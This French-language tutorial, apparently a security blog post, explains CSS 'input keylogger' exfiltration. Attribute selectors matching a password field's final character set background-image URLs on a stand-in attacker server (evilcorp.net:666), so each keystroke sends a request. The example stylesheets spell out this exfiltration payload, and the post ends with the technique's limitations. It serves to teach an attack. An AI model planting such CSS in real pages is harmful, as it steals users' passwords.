CSS – Exfiltration ( Input Keylogger)

L’une des techniques classiques d’exfiltration CSS consiste à exfiltrer le contenu d’un élément <input/> . En effet, lorsqu’un utilisateur tape ses informations dans un <input/>, celui-ci va modifier son attribut value , et va permettre grâce à un sélecteur CSS, d’exfiltrer la valeur du caractère ajouté.

Sélecteur CSS

Il existe un sélecteur CSS dont la fonction est de sélectionner tous les inputs dont le champ value se termine par une chaîne de caractères spécifique : input[value$='<string>'].

<input value="johnx_x">
<input value="mike">
<input value="denisx_x">
 
<style>
input[value$='x_x']{
 /* code css affectant #john et #denis */
}
</style>

Ici le code CSS se trouvant entre les balises <style> n’affectera que les inputs dont la valeur se termine par « x_x« .

Le $ dans le selecteur CSS signifie « fini par« .

Détection d’un caractère

Imaginons donc que nous nous retrouvons face un site avec le code basique suivant :


<input name="password" value="">

Notre objectif va être de détecter chaque lettre tapé par l’utilisateur dans l’input password. Pour ce faire, l’on peut utiliser le code CSS suivant :

<input name="password" value="">

<style>

input[value$='A']{ color : red }

input[value$='B']{ color : green }

....
....

input[value$='z']{ color : pink }

input[value$='1']{ color : yellow }

input[value$='2']{ color : white }

....
....

</style>

Ici, à chaque fois qu’une caractère est tapé dans l’input, la couleur du texte cet input sera modifiée en fonction de la lettre ajoutée à la fin. Ainsi, en enregistrant le changement de couleur du texte, l’on est capable de déterminer la valeur du mot de passe.

Récupération du caractère

Maintenant que l’on est capable de détecter l’entré d’un caractère, il nous reste à exfiltrer cette information (vers un serveur par exemple). Malheureusement (ou heureusement), il n’existe pas de fonction spécifique en css pour effectuer une requête http. En revanche, certains attributs permettent la récupération de ressources distantes. Et qui dit récupération de ressource, dit… REQUETE !

C’est ce que permet de faire l’attribut background-image :

<input name="password" value="">

<style>
input[value$='A']{ background-image: url("https://evilcorp:666/char/A") }

input[value$='B']{ background-image: url("https://evilcorp:666/char/B") }

....
....

input[value$='z']{ background-image: url("https://evilcorp.net:666/char/z") }

input[value$='1']{ background-image: url("https://evilcorp.net:666/char/1") }

input[value$='2']{ background-image: url("https://evilcorp.net:666/char/2") }

....
....

</style>

A présent, à chaque caractère tapé, il y aura une tentative de changement de l’image de fond de l’input (background-image). L’url de l’image se situant sur un site distant, une requête http sera effectuée pour la récupérer. En fonction de la requête, le serveur (ici evilcorp.net) saura quelle lettre a été tapé par la victime.

Limitations

Cette technique présente plusieurs limitations dont les suivantes :

  • Elle ne peut pas détecter 2 même caractère à la suite
  • Elle ne détecte pas l’auto-complétion
  • Elle ne détecte pas les caractères entrés au début ou au milieu de la chaîne
  • Elle ne détecte pas la valeur initiale dans l’input si celle si fait plus de 2 caractères

D’autres implémentations permettent de passer outre certaines de ces limitations mais l’intuition reste la même.